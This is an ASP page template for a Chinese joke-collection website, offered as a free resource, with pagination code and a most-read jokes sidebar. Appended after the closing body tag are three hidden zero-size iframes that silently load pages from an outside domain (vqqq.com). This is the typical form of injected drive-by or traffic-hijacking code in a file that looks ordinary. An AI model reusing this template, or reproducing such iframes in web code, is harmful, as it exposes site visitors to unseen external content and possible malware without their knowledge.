index.asp

笑话大全,让你的个人网站笑声不断,精彩纷呈,想用你就用吧,只是一个资料库而已,更新有待以后

totalfilm=rs.recordcount                                           
pgnum=rs.Pagecount                                           
if page="" or clng(page)<1 then page=1                                           
if clng(page) > pgnum then page=pgnum                                           
if pgnum>0 then rs.AbsolutePage=page                                           
%>
      <table border="0" cellpadding="0" cellspacing="0" width="99%" align="center">                              
                        <tr>                                                                         
                          <td width="100%" bgcolor="#000000">                                                                         
                            <table border="0" cellspacing="1" width="100%" height="35">                                                                         
                              <tr>                                                                         
                                <td width="100%" bgcolor="#FFFFFF" height="31">                                                                         
                                  <table border="0" cellpadding="0" cellspacing="0" align="center" width="100%">                                                                         
                                    <tr>                                                                         
                                      <td width="100%" bgcolor="#40BDE8">                                                                         
                                        <table border="0" cellspacing="1" width="100%" height="56">
                          <tr>                                                                        
                                            <td width="100%" bgcolor="#40BDE8" align="left" height="17">                               
                                              　[共<b><%=rs.pagecount%></b>页] [第<%=page%>页]                                                                                                                                                                                                                                                                                                                                        
                  [<%=pagesize%>部/页] [共<%=totalfilm%>部]                                                                                                                                                                                                                                                                                                                                        
                  <%if page=1 then%>                                                                                                                                                                
                  [首 页] [上一页]                                                                                                                                                                                                                                                                                                                                        
                  <% else %>                                                                                                                                                                
                  [<a class="top" href="index.asp?page=1&typeid=<%=typeid%>">首 页</a>] [<a class="top" href="index.asp?page=<%=page-1%>&typeid=<%=typeid%>">上一页</a>]                                                                                                                                                                                                                                                                                                                                       
                  <%end if%>                                                                                                                                                                
                  <%if rs.pagecount-page<1 then%>                                                                                                                                                                                                                                                                                                                                       
                  [下一页] [尾 页]                                                                                                                                                                                                                                                                                                                                        
                  <%else%>                                                                                                                                                                
                  [<a class="top" href="index.asp?page=<%=page+1%>&typeid=<%=typeid%>">下一页</a>]                                                                                                                                                                                                                                                                                                                                        
                  [<a class="top" href="index.asp?page=<%=rs.pagecount%>&typeid=<%=typeid%>">尾                                                                                                                                                                 
                  页</a>]                                                                                                                                                                                                                                                                                                                                        
                  <%end if%>     </td>                                                                                                                                                            
                                          </tr> <%                                                                                                               
                                                                                                                                                                        
                                           if rs.eof then                                                                                                                              
                                           response.write "<tr><td bgcolor='#FFFFFF' colspan='7' align='center'><font color='red'>没有您要查询的内容或没有此类flash提供观看</font></td></tr>"                                                                                                                              
                                           else                                                                                                                 
                                           count1=0                                                                                                                
                                           do while not (rs.eof or rs.bof) and count1<rs.PageSize                                                                                                                
                                           tjid123=rs("typeid")                                                                                                               
                                          %>                                                                               
                                  <tr>                                                                                                              
                                            
                            <td width="100%" bgcolor="#FFFFFF" align="left" height="20"> 
                              <table border="0" cellspacing="0" width="100%">                                       
                                                <tr>                                       
                                                  
                                  <td width="70%">&nbsp;<img border="0" src="images/small/jt0.gif" align=absmiddle> 
                                    <a class="top" href="#" onclick="javascript:window.open('list.asp?id=<%=rs("articleid")%>','joke','scrollbars=yes,resizable=yes,width=500,height=400')"><%=rs("title")%></a></td>                                     
                                                  <td width="18%"><%=rs("dateandtime")%></td>                                     
                                                  <td width="12%"><%=rs("hits")%></td>                                     
                                                </tr>                                     
                                              </table>                                     
                                            </td>                                                                                                                                                         
                                          </tr>                                                                           
                                                                                                         
                                                                                                                                                
                                          <%                                                                                                         
                                              rs.movenext                                                                                                          
                                              count1=count1+1                                                                                                          
                                              loop                                                                                                          
                                              end if                                                                                                         
                                                                                                                                                      
                                           %>                                                                                                         
                                                                                                                                      
                                     <tr>                                                                                                         
                                            <td width="100%" bgcolor="#40BDE8" align="left" height="20">                                                                                                         
                                                                          
                                                                      <p align="center">                                                                                                        
                                                                         
                                                                      [共<b><%=rs.pagecount%></b>页] [第<%=page%>页]                                                                                                                                                                                                                                                                                                                                        
                  [<%=pagesize%>部/页] [共<%=totalfilm%>部]                                                                                                                                                                                                                                                                                                                                        
                  <%if page=1 then%>                                                                                                                                                                
                  [首 页] [上一页]                                                                                                                                                                                                                                                                                                                                        
                  <% else %>                                                                                                                                                                
                  [<a class="top" href="index.asp?page=1&typeid=<%=typeid%>">首 页</a>] [<a class="top" href="index.asp?page=<%=page-1%>&typeid=<%=typeid%>">上一页</a>]                                                                                                                                                                                                                                                                                                                                       
                  <%end if%>                                                                                                                                                                
                  <%if rs.pagecount-page<1 then%>                                                                                                                                                                                                                                                                                                                                       
                  [下一页] [尾 页]                                                                                                                                                                                                                                                                                                                                        
                  <%else%>                                                                                                                                                                
                  [<a class="top" href="index.asp?page=<%=page+1%>&typeid=<%=typeid%>">下一页</a>]                                                                                                                                                                                                                                                                                                                                        
                  [<a class="top" href="index.asp?page=<%=rs.pagecount%>&typeid=<%=typeid%>">尾                                                                                                                                                                 
                  页</a>]                                                                                                                                                                                                                                                                                                                                        
                  <%end if%>                                                                 
                                                                      </p>                              
                                            </td>                                                                                                
                                          </tr>                                                                                                
                                                                                                
                                        </table>                                                                                                
                                      </td>                                                                                                
                                    </tr>                                                                                                
                                  </table>                                                                                                
                                </td>                                                                                                
                              </tr>                                                                                                
                            </table>                                                                                                
                          </td>                                                                                                
                        </tr>                                                                                                
                      </table>                                                                                                                                                                                                                                     
    </td>                                                                                                                                                                                                                
    <td width="146" height="1" valign="top" bgcolor="#FFFFFF"> 
      <table border="0" cellpadding="0" cellspacing="0" width="99%">                       
      <tr>                       
        <td width="100%" bgcolor="#000000">                       
          <table border="0" cellspacing="1" width="100%">                       
            <tr>                       
              <td width="100%" bgcolor="#FFFFFF">                       
                <table border="0" cellspacing="0" width="100%">                       
                  <tr>                       
                    <td width="100%" bgcolor="#40BDE8">                       
                      <table border="0" cellspacing="1" width="100%" height="41">                       
                        <tr>                       
                          <td width="100%" bgcolor="#40BDE8" height="14">                       
                            <p align="center">◎<b>笑话排行榜◎</b></p>                      
                          </td>                      
                        </tr>                      
                        <%                      
                        rs.close                      
                        sql="select articleid,title,hits from learning order by hits desc"                      
                        rs.open sql,conn,1,1                      
                        do while not rs.eof                      
                        %>                      
                        <tr>                      
                          <td width="100%" bgcolor="#Ffffff" height="20">                      
                            <table border="0" cellspacing="0" width="100%" cellpadding="0" height="14">                      
                              <tr>                      
                                <td width="74%" height="14"><a class="top" href="#" onclick="javascript:window.open('list.asp?id=<%=rs("articleid")%>','joke','scrollbars=yes,resizable=yes,width=500,height=400')"><%=left(rs("title"),8)%></a></td>                      
                                <td width="26%" height="14"><%=rs("hits")%></td>                      
                              </tr>                      
                            </table>                      
                          </td>                      
                        </tr>                      
                        <%                      
                        ky=ky+1                      
                        rs.movenext                      
                        if ky=21 then exit do                      
                        loop                      
                        %>                      
                      </table>                      
                    </td>                      
                  </tr>                      
                </table>                      
              </td>                      
            </tr>                      
          </table>                      
        </td>                      
      </tr>                      
    </table>                      
    </td>                                                                                                                                                                                                            
    <td width="1" height="1" valign="top" bgcolor="#800000">                                                                                                                                                                                                                                                                                                       
    </td>                                                                                                                                                                                                            
  </tr>                                                                                                                                                                                                            
                                                                                                                                                                                                              
</table>                                                                                                                                                                                                                                                                                                                                                                    <table border="0" cellpadding="0" cellspacing="0" width="100%" height="52">                                                                                   
                                                                                  
</table>                                                                                  
 <%                            
     rs.close                       
  set rs=nothing                                                                               
 conn.close                                                                                  
 set conn=nothing                                                                                  
 %>                                                                                                                                                                                                
</BODY><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://qq.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://q.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe>
</HTML>